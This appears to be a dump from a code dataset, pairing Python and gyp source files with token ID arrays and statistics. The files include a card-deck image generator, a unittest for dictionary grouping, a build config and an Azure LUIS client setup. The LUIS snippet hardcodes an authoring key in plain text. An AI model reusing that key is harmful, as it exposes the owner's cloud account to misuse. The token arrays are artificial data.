11,
850,
3262,
62,
21975,
62,
40290,
28,
7266,
3262,
62,
21975,
62,
40290,
11,
850,
3262,
62,
4906,
28,
7266,
3262,
62,
4906,
11,
15940,
28,
31499,
11,
7166,
62,
27349,
62,
3672,
28,
32844,
62,
27349,
62,
3672,
11,
410,
3262,
62,
21975,
62,
40290,
28,
85,
3262,
62,
21975,
62,
40290,
8,
628,
220,
220,
220,
220,
220,
220,
220,
1303,
28407,
10289,
198,
220,
220,
220,
220,
220,
220,
220,
19016,
796,
31051,
7266,
12048,
507,
14,
90,
7266,
33584,
7390,
92,
14,
31092,
24432,
14,
90,
31092,
13247,
5376,
92,
14,
15234,
4157,
14,
15905,
13,
33236,
14,
2934,
1420,
902,
14,
90,
2934,
1420,
434,
5376,
92,
6,
198,
220,
220,
220,
220,
220,
220,
220,
3108,
62,
18982,
62,
853,
2886,
796,
1391,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
705,
31092,
13247,
5376,
10354,
2116,
13557,
46911,
1096,
13,
6371,
7203,
31092,
62,
8094,
62,
3672,
1600,
8271,
62,
8094,
62,
3672,
11,
705,
2536,
3256,
3509,
62,
13664,
28,
2414,
11,
949,
62,
13664,
28,
16,
11,
3912,
11639,
61,
58,
12,
59,
86,
59,
13557,
48688,
3,
33809,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
705,
2934,
1420,
434,
5376,
10354,
2116,
13557,
46911,
1096,
13,
6371,
7203,
2934,
1420,
434,
62,
3672,
1600,
14833,
62,
3672,
11,
705,
2536,
3256,
3509,
62,
13664,
28,
2414,
11,
949,
62,
13664,
28,
16,
11,
3912,
11639,
61,
58,
12,
59,
86,
59,
13557,
48688,
3,
33809,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
705,
7266,
33584,
7390,
10354,
2116,
13557,
46911,
1096,
13,
6371,
7203,
944,
13,
11250,
13,
7266,
33584,
62,
312,
1600,
2116,
13,
11250,
13,
7266,
33584,
62,
312,
11,
705,
2536,
11537,
198,
220,
220,
220,
220,
220,
220,
220,
1782,
198,
220,
220,
220,
220,
220,
220,
220,
19016,
796,
2116,
13557,
16366,
13,
18982,
62,
6371,
7,
6371,
11,
12429,
6978,
62,
18982,
62,
853,
2886,
8,
628,
220,
220,
220,
220,
220,
220,
220,
1303,
28407,
10007,
198,
220,
220,
220,
220,
220,
220,
220,
12405,
62,
17143,
7307,
796,
23884,
198,
220,
220,
220,
220,
220,
220,
220,
12405,
62,
17143,
7307,
17816,
15042,
12,
9641,
20520,
796,
2116,
13557,
46911,
1096,
13,
22766,
7203,
944,
13,
11250,
13,
15042,
62,
9641,
1600,
2116,
13,
11250,
13,
15042,
62,
9641,
11,
705,
2536,
11537,
628,
220,
220,
220,
220,
220,
220,
220,
1303,
28407,
24697,
198,
220,
220,
220,
220,
220,
220,
220,
13639,
62,
17143,
7307,
796,
23884,
198,
220,
220,
220,
220,
220,
220,
220,
13639,
62,
17143,
7307,
17816,
19746,
12,
6030,
20520,
796,
705,
31438,
14,
17752,
26,
34534,
316,
28,
40477,
12,
23,
6,
198,
220,
220,
220,
220,
220,
220,
220,
611,
2116,
13,
11250,
13,
8612,
378,
62,
16366,
62,
25927,
62,
312,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
13639,
62,
17143,
7307,
17816,
87,
12,
907,
12,
16366,
12,
25927,
12,
312,
20520,
796,
965,
7,
12303,
312,
13,
12303,
312,
16,
28955,
198,
220,
220,
220,
220,
220,
220,
220,
611,
2183,
62,
50145,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
13639,
62,
17143,
7307,
13,
19119,
7,
23144,
62,
50145,
8,
198,
220,
220,
220,
220,
220,
220,
220,
611,
2116,
13,
11250,
13,
13635,
62,
16129,
318,
407,
6045,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
13639,
62,
17143,
7307,
17816,
13635,
12,
16129,
20520,
796,
2116,
13557,
46911,
1096,
13,
25677,
7203,
944,
13,
11250,
13,
13635,
62,
16129,
1600,
2116,
13,
11250,
13,
13635,
62,
16129,
11,
705,
2536,
11537,
628,
220,
220,
220,
220,
220,
220,
220,
1303,
28407,
1767,
198,
220,
220,
220,
220,
220,
220,
220,
1767,
62,
11299,
796,
2116,
13557,
46911,
1096,
13,
2618,
7,
17143,
7307,
11,
705,
49322,
434,
43,
65,
11537,
628,
220,
220,
220,
220,
220,
220,
220,
1303,
28407,
290,
3758,
2581,
628,
220,
220,
220,
220,
220,
220,
220,
611,
8246,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2882,
796,
890,
62,
20270,
62,
21280,
3419,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1441,
651,
62,
6511,
62,
20270,
62,
22915,
7,
26209,
8,
628,
220,
220,
220,
220,
220,
220,
220,
890,
62,
20270,
62,
27184,
62,
48678,
796,
4905,
62,
11250,
13,
1136,
7,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
705,
6511,
62,
20270,
62,
27184,
62,
48678,
3256,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2116,
13,
11250,
13,
6511,
62,
20270,
62,
27184,
62,
48678,
8,
198,
220,
220,
220,
220,
220,
220,
220,
1441,
22134,
32180,
39176,
263,
7,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
890,
62,
20270,
62,
21280,
11,
651,
62,
6511,
62,
20270,
62,
22915,
11,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
651,
62,
6511,
62,
20270,
62,
13376,
11,
890,
62,
20270,
62,
27184,
62,
48678,
8,
198
] | 2.776325 | 2,982 |
if __name__ == '__main__':
math()
| [
198,
198,
361,
11593,
3672,
834,
6624,
705,
834,
12417,
834,
10354,
198,
220,
220,
220,
10688,
3419,
198
] | 2.105263 | 19 |
#! /usr/bin/env python3
import csv
import json
import os
import pathlib
import sys
import numpy as np
import cairo
import argparse
import layout
from draw_card import drawCard
from card_model import CardModel
from card_model import CardDeck
def extant_file(x):
"""
'Type' for argparse - checks that file exists but does not open.
"""
if not os.path.exists(x):
# Argparse uses the ArgumentTypeError to give a rejection message like:
# error: argument input: x does not exist
raise argparse.ArgumentTypeError("{0} does not exist".format(x))
return x
##### CLI args #####
parser = argparse.ArgumentParser(description="Deck Generator for Game Designers")
parser.add_argument('-d', '--deck', type=extant_file, help='csv file containing the deck', metavar="FILE", required=True)
parser.add_argument('-c', '--cards', type=extant_file, help='json file containing cards description', metavar="FILE", required=True)
parser.add_argument('-i', '--images', help='Add images to cards', action='store_true')
parser.add_argument('-r', '--rgb', help='Update layout card border colour with given R,G,B, only works with default layout', nargs=3, type=int)
parser.add_argument('-l', '--layout', help='Use a different layout than default', type=extant_file, metavar="FILE")
args = parser.parse_args()
handle_images = args.images
modify_layout = args.rgb
deck_file = args.deck
cards_file = args.cards
#deck_file = './example_deck.csv'
deck_name = os.path.basename(deck_file)[:-4]
nameList = []
list_copy = []
with open(deck_file, encoding='utf-8') as csvFile:
reader = csv.reader(csvFile)
list_copy.append(reader.__next__())
for row in reader:
list_copy.append(row)
nameList = nameList + [row[1]] * int(row[0])
cards = CardDeck(cards_file)
cardList = [CardModel(name,cards.getDb()) for name in nameList]
pageList = [cardList[i:i+9] for i in range(0, len(cardList), 9)]
if not os.path.exists('decks'):
os.mkdir('decks')
if not os.path.exists(os.path.join('decks',deck_name)):
os.mkdir(os.path.join('decks',deck_name))
for page_number in range(len(pageList)):
print(f'Page {page_number}:')
page = pageList[page_number]
surf = layout.getSurface()
ctx = cairo.Context(surf)
for i in range(len(page)):
card = page[i]
cardPos = (i % 3, i // 3)
print(cardPos)
print(card)
mat = layout.getMatrix(*cardPos, surf)
ctx.set_matrix(mat)
drawCard(card, ctx)
surf.write_to_png(f'decks/{deck_name}/{deck_name}_p{page_number}.png')
from add_images import BaseImage
from add_images import addImage
from add_images import processImage
from PIL import Image
if (modify_layout is not None):
baseImage = BaseImage(f'decks/{deck_name}/{deck_name}_p{page_number}.png')
temp = baseImage.baseImage.convert('RGBA')
data = np.array(temp)
red, green, blue, alpha = data.T
for i in range(0,63):
white_areas = (red == 190+i) & (blue == 190+i) & (green == 190+i)
data[..., :-1][white_areas.T] = (modify_layout[0], modify_layout[1], modify_layout[2])
baseImage.update(Image.fromarray(data))
baseImage.save(f'decks/{deck_name}/{deck_name}_p{page_number}.png')
#import pdb;pdb.set_trace()
if (handle_images):
if not os.path.exists(os.path.join('decks',deck_name,'images')):
os.mkdir(os.path.join('decks',deck_name,'images'))
#open the previous png to add the images
baseImage = BaseImage(f'decks/{deck_name}/{deck_name}_p{page_number}.png')
for i in range (len(page)):
card = page[i]
cardPos = (i % 3, i // 3)
processImage(card,deck_name)
baseImage.update(addImage(card,baseImage,deck_name, cardPos))
baseImage.save(f'decks/{deck_name}/{deck_name}_p{page_number}.png')
with open(f'decks/{deck_name}/{deck_name}.csv', 'w') as deck_copy:
filewriter = csv.writer(deck_copy)
for element in list_copy:
filewriter.writerow(element)
| [
2,
0,
1220,
14629,
14,
8800,
14,
24330,
21015,
18,
198,
11748,
269,
21370,
198,
11748,
33918,
198,
11748,
28686,
198,
11748,
3108,
8019,
198,
11748,
25064,
198,
11748,
299,
32152,
355,
45941,
198,
198,
11748,
1275,
7058,
198,
11748,
1822,
29572,
628,
198,
11748,
12461,
198,
6738,
3197,
62,
9517,
1330,
3197,
16962,
198,
6738,
2657,
62,
19849,
1330,
5172,
17633,
198,
6738,
2657,
62,
19849,
1330,
5172,
5005,
694,
628,
198,
198,
4299,
47862,
62,
7753,
7,
87,
2599,
198,
220,
220,
220,
37227,
198,
220,
220,
220,
705,
6030,
6,
329,
1822,
29572,
532,
8794,
326,
2393,
7160,
475,
857,
407,
1280,
13,
198,
220,
220,
220,
37227,
198,
220,
220,
220,
611,
407,
28686,
13,
6978,
13,
1069,
1023,
7,
87,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
20559,
29572,
3544,
262,
45751,
6030,
12331,
284,
1577,
257,
17927,
3275,
588,
25,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
4049,
25,
4578,
5128,
25,
2124,
857,
407,
2152,
198,
220,
220,
220,
220,
220,
220,
220,
5298,
1822,
29572,
13,
28100,
1713,
6030,
12331,
7203,
90,
15,
92,
857,
407,
2152,
1911,
18982,
7,
87,
4008,
198,
220,
220,
220,
1441,
2124,
628,
198,
198,
4242,
2,
43749,
26498,
46424,
198,
48610,
796,
1822,
29572,
13,
28100,
1713,
46677,
7,
11213,
2625,
5005,
694,
35986,
329,
3776,
8495,
364,
4943,
198,
48610,
13,
2860,
62,
49140,
10786,
12,
67,
3256,
705,
438,
35875,
3256,
2099,
28,
2302,
415,
62,
7753,
11,
1037,
11639,
40664,
2393,
7268,
262,
6203,
3256,
1138,
615,
283,
2625,
25664,
1600,
2672,
28,
17821,
8,
198,
48610,
13,
2860,
62,
49140,
10786,
12,
66,
3256,
705,
438,
27761,
3256,
2099,
28,
2302,
415,
62,
7753,
11,
1037,
11639,
17752,
2393,
7268,
4116,
6764,
3256,
1138,
615,
283,
2625,
25664,
1600,
2672,
28,
17821,
8,
198,
198,
48610,
13,
2860,
62,
49140,
10786,
12,
72,
3256,
705,
438,
17566,
3256,
1037,
11639,
4550,
4263,
284,
4116,
3256,
2223,
11639,
8095,
62,
7942,
11537,
198,
48610,
13,
2860,
62,
49140,
10786,
12,
81,
3256,
705,
438,
81,
22296,
3256,
1037,
11639,
10260,
12461,
2657,
4865,
9568,
351,
1813,
371,
11,
38,
11,
33,
11,
691,
2499,
351,
4277,
12461,
3256,
299,
22046,
28,
18,
11,
2099,
28,
600,
8,
198,
48610,
13,
2860,
62,
49140,
10786,
12,
75,
3256,
705,
438,
39786,
3256,
1037,
11639,
11041,
257,
1180,
12461,
621,
4277,
3256,
2099,
28,
2302,
415,
62,
7753,
11,
1138,
615,
283,
2625,
25664,
4943,
628,
198,
22046,
796,
30751,
13,
29572,
62,
22046,
3419,
198,
198,
28144,
62,
17566,
796,
26498,
13,
17566,
198,
4666,
1958,
62,
39786,
796,
26498,
13,
81,
22296,
198,
35875,
62,
7753,
796,
26498,
13,
35875,
198,
27761,
62,
7753,
796,
26498,
13,
27761,
198,
2,
35875,
62,
7753,
796,
705,
19571,
20688,
62,
35875,
13,
40664,
6,
198,
35875,
62,
3672,
796,
28686,
13,
6978,
13,
12093,
12453,
7,
35875,
62,
7753,
38381,
21912,
19,
60,
198,
3672,
8053,
796,
17635,
198,
4868,
62,
30073,
796,
17635,
198,
198,
4480,
1280,
7,
35875,
62,
7753,
11,
21004,
11639,
40477,
12,
23,
11537,
355,
269,
21370,
8979,
25,
198,
220,
220,
220,
9173,
796,
269,
21370,
13,
46862,
7,
40664,
8979,
8,
198,
220,
220,
220,
1351,
62,
30073,
13,
33295,
7,
46862,
13,
834,
19545,
834,
28955,
198,
220,
220,
220,
329,
5752,
287,
9173,
25,
198,
220,
220,
220,
220,
220,
220,
220,
1351,
62,
30073,
13,
33295,
7,
808,
8,
198,
220,
220,
220,
220,
220,
220,
220,
1438,
8053,
796,
1438,
8053,
1343,
685,
808,
58,
16,
11907,
1635,
493,
7,
808,
58,
15,
12962,
198,
198,
27761,
796,
5172,
5005,
694,
7,
27761,
62,
7753,
8,
198,
198,
9517,
8053,
796,
685,
16962,
17633,
7,
3672,
11,
27761,
13,
1136,
43832,
28955,
329,
1438,
287,
1438,
8053,
60,
198,
7700,
8053,
796,
685,
9517,
8053,
58,
72,
25,
72,
10,
24,
60,
329,
1312,
287,
2837,
7,
15,
11,
18896,
7,
9517,
8053,
828,
860,
15437,
198,
198,
361,
407,
28686,
13,
6978,
13,
1069,
1023,
10786,
12501,
591,
6,
2599,
198,
220,
220,
220,
28686,
13,
28015,
15908,
10786,
12501,
591,
11537,
198,
361,
407,
28686,
13,
6978,
13,
1069,
1023,
7,
418,
13,
6978,
13,
22179,
10786,
12501,
591,
3256,
35875,
62,
3672,
8,
2599,
198,
220,
220,
220,
28686,
13,
28015,
15908,
7,
418,
13,
6978,
13,
22179,
10786,
12501,
591,
3256,
35875,
62,
3672,
4008,
198,
198,
1640,
2443,
62,
17618,
287,
2837,
7,
11925,
7,
7700,
8053,
8,
2599,
198,
220,
220,
220,
3601,
7,
69,
6,
9876,
1391,
7700,
62,
17618,
38362,
11537,
198,
220,
220,
220,
2443,
796,
2443,
8053,
58,
7700,
62,
17618,
60,
198,
220,
220,
220,
9053,
796,
12461,
13,
1136,
14214,
2550,
3419,
198,
220,
220,
220,
269,
17602,
796,
1275,
7058,
13,
21947,
7,
11793,
69,
8,
628,
220,
220,
220,
329,
1312,
287,
2837,
7,
11925,
7,
7700,
8,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
2657,
796,
2443,
58,
72,
60,
198,
220,
220,
220,
220,
220,
220,
220,
2657,
21604,
796,
357,
72,
4064,
513,
11,
1312,
3373,
513,
8,
198,
220,
220,
220,
220,
220,
220,
220,
3601,
7,
9517,
21604,
8,
198,
220,
220,
220,
220,
220,
220,
220,
3601,
7,
9517,
8,
198,
220,
220,
220,
220,
220,
220,
220,
2603,
796,
12461,
13,
1136,
46912,
46491,
9517,
21604,
11,
9053,
8,
198,
220,
220,
220,
220,
220,
220,
220,
269,
17602,
13,
2617,
62,
6759,
8609,
7,
6759,
8,
198,
220,
220,
220,
220,
220,
220,
220,
3197,
16962,
7,
9517,
11,
269,
17602,
8,
628,
220,
220,
220,
9053,
13,
13564,
62,
1462,
62,
11134,
7,
69,
1549,
721,
591,
14,
90,
35875,
62,
3672,
92,
14,
90,
35875,
62,
3672,
92,
62,
79,
90,
7700,
62,
17618,
27422,
11134,
11537,
628,
220,
220,
220,
422,
751,
62,
17566,
1330,
7308,
5159,
198,
220,
220,
220,
422,
751,
62,
17566,
1330,
751,
5159,
198,
220,
220,
220,
422,
751,
62,
17566,
1330,
1429,
5159,
198,
220,
220,
220,
422,
350,
4146,
1330,
7412,
628,
220,
220,
220,
611,
357,
4666,
1958,
62,
39786,
318,
407,
6045,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
2779,
5159,
796,
7308,
5159,
7,
69,
1549,
721,
591,
14,
90,
35875,
62,
3672,
92,
14,
90,
35875,
62,
3672,
92,
62,
79,
90,
7700,
62,
17618,
27422,
11134,
11537,
198,
220,
220,
220,
220,
220,
220,
220,
20218,
796,
2779,
5159,
13,
8692,
5159,
13,
1102,
1851,
10786,
48192,
4339,
11537,
198,
220,
220,
220,
220,
220,
220,
220,
1366,
796,
45941,
13,
18747,
7,
29510,
8,
198,
220,
220,
220,
220,
220,
220,
220,
2266,
11,
4077,
11,
4171,
11,
17130,
796,
1366,
13,
51,
220,
198,
220,
220,
220,
220,
220,
220,
220,
329,
1312,
287,
2837,
7,
15,
11,
5066,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2330,
62,
533,
292,
796,
357,
445,
6624,
19884,
10,
72,
8,
1222,
357,
17585,
6624,
19884,
10,
72,
8,
1222,
357,
14809,
6624,
19884,
10,
72,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1366,
58,
986,
11,
1058,
12,
16,
7131,
11186,
62,
533,
292,
13,
51,
60,
796,
357,
4666,
1958,
62,
39786,
58,
15,
4357,
13096,
62,
39786,
58,
16,
4357,
13096,
62,
39786,
58,
17,
12962,
198,
220,
220,
220,
220,
220,
220,
220,
2779,
5159,
13,
19119,
7,
5159,
13,
6738,
18747,
7,
7890,
4008,
198,
220,
220,
220,
220,
220,
220,
220,
2779,
5159,
13,
21928,
7,
69,
1549,
721,
591,
14,
90,
35875,
62,
3672,
92,
14,
90,
35875,
62,
3672,
92,
62,
79,
90,
7700,
62,
17618,
27422,
11134,
11537,
628,
198,
220,
220,
220,
1303,
11748,
279,
9945,
26,
79,
9945,
13,
2617,
62,
40546,
3419,
198,
220,
220,
220,
611,
357,
28144,
62,
17566,
2599,
628,
220,
220,
220,
220,
220,
220,
220,
611,
407,
28686,
13,
6978,
13,
1069,
1023,
7,
418,
13,
6978,
13,
22179,
10786,
12501,
591,
3256,
35875,
62,
3672,
4032,
17566,
11537,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
28686,
13,
28015,
15908,
7,
418,
13,
6978,
13,
22179,
10786,
12501,
591,
3256,
35875,
62,
3672,
4032,
17566,
6,
4008,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
9654,
262,
2180,
279,
782,
284,
751,
262,
4263,
198,
220,
220,
220,
220,
220,
220,
220,
2779,
5159,
796,
7308,
5159,
7,
69,
1549,
721,
591,
14,
90,
35875,
62,
3672,
92,
14,
90,
35875,
62,
3672,
92,
62,
79,
90,
7700,
62,
17618,
27422,
11134,
11537,
198,
220,
220,
220,
220,
220,
220,
220,
329,
1312,
287,
2837,
357,
11925,
7,
7700,
8,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2657,
796,
2443,
58,
72,
60,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2657,
21604,
796,
357,
72,
4064,
513,
11,
1312,
3373,
513,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1429,
5159,
7,
9517,
11,
35875,
62,
3672,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2779,
5159,
13,
19119,
7,
2860,
5159,
7,
9517,
11,
8692,
5159,
11,
35875,
62,
3672,
11,
2657,
21604,
4008,
198,
220,
220,
220,
220,
220,
220,
220,
2779,
5159,
13,
21928,
7,
69,
1549,
721,
591,
14,
90,
35875,
62,
3672,
92,
14,
90,
35875,
62,
3672,
92,
62,
79,
90,
7700,
62,
17618,
27422,
11134,
11537,
628,
198,
4480,
1280,
7,
69,
1549,
721,
591,
14,
90,
35875,
62,
3672,
92,
14,
90,
35875,
62,
3672,
27422,
40664,
3256,
705,
86,
11537,
355,
6203,
62,
30073,
25,
198,
220,
220,
220,
2393,
16002,
796,
269,
21370,
13,
16002,
7,
35875,
62,
30073,
8,
198,
220,
220,
220,
329,
5002,
287,
1351,
62,
30073,
25,
198,
220,
220,
220,
220,
220,
220,
220,
2393,
16002,
13,
16002,
322,
7,
30854,
8,
198
] | 2.44811 | 1,667 |
import unittest
from shmakovpn.extend_builtins import ExtendedDict
from functools import reduce
from typing import List, Dict, Any
class TestGroupByExtendedDict(unittest.TestCase):
"""
This class contains tests of **groupby** using **ExtendedDict**
"""
data: List[Dict[str, Any]] = [
{'name': 'alex', 'score': 2, },
{'name': 'john', 'score': 4, },
{'name': 'dan', 'score': 1, },
{'name': 'alex', 'score': 6, },
{'name': 'dan', 'score': 3, },
]
"""the dataset for tests"""
def test_group_by_extended_dict(self):
"""
Test for **groupby** that uses **ExtendedDict**
"""
self.assertEqual(
reduce(
lambda a, b: a.return_updated(
**{b['name']: a.pop(b['name'], []) + [b['score']]}
),
self.data,
ExtendedDict(), # use **ExtendedDict** as an accumulator
), {
'john': [4],
'alex': [2, 6],
'dan': [1, 3],
}
)
| [
11748,
555,
715,
395,
201,
198,
6738,
427,
76,
44715,
21999,
13,
2302,
437,
62,
18780,
1040,
1330,
24204,
35,
713,
201,
198,
6738,
1257,
310,
10141,
1330,
4646,
201,
198,
6738,
19720,
1330,
7343,
11,
360,
713,
11,
4377,
201,
198,
201,
198,
201,
198,
4871,
6208,
13247,
3886,
11627,
1631,
35,
713,
7,
403,
715,
395,
13,
14402,
20448,
2599,
201,
198,
220,
220,
220,
37227,
201,
198,
220,
220,
220,
770,
1398,
4909,
5254,
286,
12429,
8094,
1525,
1174,
1262,
12429,
11627,
1631,
35,
713,
1174,
201,
198,
220,
220,
220,
37227,
201,
198,
220,
220,
220,
1366,
25,
7343,
58,
35,
713,
58,
2536,
11,
4377,
11907,
796,
685,
201,
198,
220,
220,
220,
220,
220,
220,
220,
1391,
6,
3672,
10354,
705,
1000,
87,
3256,
705,
26675,
10354,
362,
11,
8964,
201,
198,
220,
220,
220,
220,
220,
220,
220,
1391,
6,
3672,
10354,
705,
30686,
3256,
705,
26675,
10354,
604,
11,
8964,
201,
198,
220,
220,
220,
220,
220,
220,
220,
1391,
6,
3672,
10354,
705,
25604,
3256,
705,
26675,
10354,
352,
11,
8964,
201,
198,
220,
220,
220,
220,
220,
220,
220,
1391,
6,
3672,
10354,
705,
1000,
87,
3256,
705,
26675,
10354,
718,
11,
8964,
201,
198,
220,
220,
220,
220,
220,
220,
220,
1391,
6,
3672,
10354,
705,
25604,
3256,
705,
26675,
10354,
513,
11,
8964,
201,
198,
220,
220,
220,
2361,
201,
198,
220,
220,
220,
37227,
1169,
27039,
329,
5254,
37811,
201,
198,
201,
198,
220,
220,
220,
825,
1332,
62,
8094,
62,
1525,
62,
2302,
1631,
62,
11600,
7,
944,
2599,
201,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
201,
198,
220,
220,
220,
220,
220,
220,
220,
6208,
329,
12429,
8094,
1525,
1174,
326,
3544,
12429,
11627,
1631,
35,
713,
1174,
201,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
201,
198,
220,
220,
220,
220,
220,
220,
220,
2116,
13,
30493,
36,
13255,
7,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
4646,
7,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
37456,
257,
11,
275,
25,
257,
13,
7783,
62,
43162,
7,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
12429,
90,
65,
17816,
3672,
6,
5974,
257,
13,
12924,
7,
65,
17816,
3672,
6,
4357,
685,
12962,
1343,
685,
65,
17816,
26675,
6,
11907,
92,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
10612,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2116,
13,
7890,
11,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
24204,
35,
713,
22784,
220,
1303,
779,
12429,
11627,
1631,
35,
713,
1174,
355,
281,
10507,
8927,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
10612,
1391,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
705,
30686,
10354,
685,
19,
4357,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
705,
1000,
87,
10354,
685,
17,
11,
718,
4357,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
705,
25604,
10354,
685,
16,
11,
513,
4357,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1782,
201,
198,
220,
220,
220,
220,
220,
220,
220,
1267,
201,
198
] | 1.861436 | 599 |
{
'variables': {
'project_name': 'examples',
'current_dir': '<(DEPTH)',
},
'targets': [
{
'target_name': 'basic_sample',
'type': 'executable',
'dependencies': [
'<(current_dir)/src/macia.gyp:macia',
],
'sources': [
'basic_sample.cc',
],
'include_dirs': [
'<(current_dir)',
],
},
{
'target_name': 'basic_render',
'type': 'executable',
'dependencies': [
'<(current_dir)/src/macia.gyp:macia',
],
'sources': [
'basic_render.cc',
],
'include_dirs': [
'<(current_dir)',
],
},
{
'target_name': 'simple_texture',
'type': 'executable',
'dependencies': [
'<(current_dir)/src/macia.gyp:macia',
],
'sources': [
'simple_texture.cc',
],
'include_dirs': [
'<(current_dir)',
],
},
],
}
| [
90,
198,
220,
705,
25641,
2977,
10354,
1391,
198,
220,
220,
220,
705,
16302,
62,
3672,
10354,
705,
1069,
12629,
3256,
198,
220,
220,
220,
705,
14421,
62,
15908,
10354,
705,
27,
7,
46162,
4221,
8,
3256,
198,
220,
8964,
198,
220,
705,
83,
853,
1039,
10354,
685,
198,
220,
220,
220,
1391,
198,
220,
220,
220,
220,
220,
705,
16793,
62,
3672,
10354,
705,
35487,
62,
39873,
3256,
198,
220,
220,
220,
220,
220,
705,
4906,
10354,
705,
18558,
18187,
3256,
198,
220,
220,
220,
220,
220,
705,
45841,
3976,
10354,
685,
198,
220,
220,
220,
220,
220,
220,
220,
705,
27,
7,
14421,
62,
15908,
20679,
10677,
14,
20285,
544,
13,
1360,
79,
25,
20285,
544,
3256,
198,
220,
220,
220,
220,
220,
16589,
198,
220,
220,
220,
220,
220,
705,
82,
2203,
10354,
685,
198,
220,
220,
220,
220,
220,
220,
220,
705,
35487,
62,
39873,
13,
535,
3256,
198,
220,
220,
220,
220,
220,
16589,
198,
220,
220,
220,
220,
220,
705,
17256,
62,
15908,
82,
10354,
685,
198,
220,
220,
220,
220,
220,
220,
220,
705,
27,
7,
14421,
62,
15908,
8,
3256,
198,
220,
220,
220,
220,
220,
16589,
198,
220,
220,
220,
8964,
198,
220,
220,
220,
1391,
198,
220,
220,
220,
220,
220,
705,
16793,
62,
3672,
10354,
705,
35487,
62,
13287,
3256,
198,
220,
220,
220,
220,
220,
705,
4906,
10354,
705,
18558,
18187,
3256,
198,
220,
220,
220,
220,
220,
705,
45841,
3976,
10354,
685,
198,
220,
220,
220,
220,
220,
220,
220,
705,
27,
7,
14421,
62,
15908,
20679,
10677,
14,
20285,
544,
13,
1360,
79,
25,
20285,
544,
3256,
198,
220,
220,
220,
220,
220,
16589,
198,
220,
220,
220,
220,
220,
705,
82,
2203,
10354,
685,
198,
220,
220,
220,
220,
220,
220,
220,
705,
35487,
62,
13287,
13,
535,
3256,
198,
220,
220,
220,
220,
220,
16589,
198,
220,
220,
220,
220,
220,
705,
17256,
62,
15908,
82,
10354,
685,
198,
220,
220,
220,
220,
220,
220,
220,
705,
27,
7,
14421,
62,
15908,
8,
3256,
198,
220,
220,
220,
220,
220,
16589,
198,
220,
220,
220,
8964,
198,
220,
220,
220,
1391,
198,
220,
220,
220,
220,
220,
705,
16793,
62,
3672,
10354,
705,
36439,
62,
41293,
3256,
198,
220,
220,
220,
220,
220,
705,
4906,
10354,
705,
18558,
18187,
3256,
198,
220,
220,
220,
220,
220,
705,
45841,
3976,
10354,
685,
198,
220,
220,
220,
220,
220,
220,
220,
705,
27,
7,
14421,
62,
15908,
20679,
10677,
14,
20285,
544,
13,
1360,
79,
25,
20285,
544,
3256,
198,
220,
220,
220,
220,
220,
16589,
198,
220,
220,
220,
220,
220,
705,
82,
2203,
10354,
685,
198,
220,
220,
220,
220,
220,
220,
220,
705,
36439,
62,
41293,
13,
535,
3256,
198,
220,
220,
220,
220,
220,
16589,
198,
220,
220,
220,
220,
220,
705,
17256,
62,
15908,
82,
10354,
685,
198,
220,
220,
220,
220,
220,
220,
220,
705,
27,
7,
14421,
62,
15908,
8,
3256,
198,
220,
220,
220,
220,
220,
16589,
198,
220,
220,
220,
8964,
198,
220,
16589,
198,
92,
198
] | 1.815686 | 510 |
from azure.cognitiveservices.language.luis.authoring import LUISAuthoringClient
from msrest.authentication import CognitiveServicesCredentials
import datetime, json, os, time
authoring_key = "bde233f61f5e4e3fa48ff5a11b0f304c"
region = "westus"
endpoint = "https://{}.api.cognitive.microsoft.com".format(region)
# Instatiating a LUIS client
client = LUISAuthoringClient(endpoint, CognitiveServicesCredentials(authoring_key))
| [
198,
6738,
35560,
495,
13,
66,
2360,
20288,
712,
1063,
13,
16129,
13,
2290,
271,
13,
9800,
278,
1330,
50168,
1797,
13838,
278,
11792,
198,
6738,
13845,
2118,
13,
41299,
3299,
1330,
38655,
31007,
34,
445,
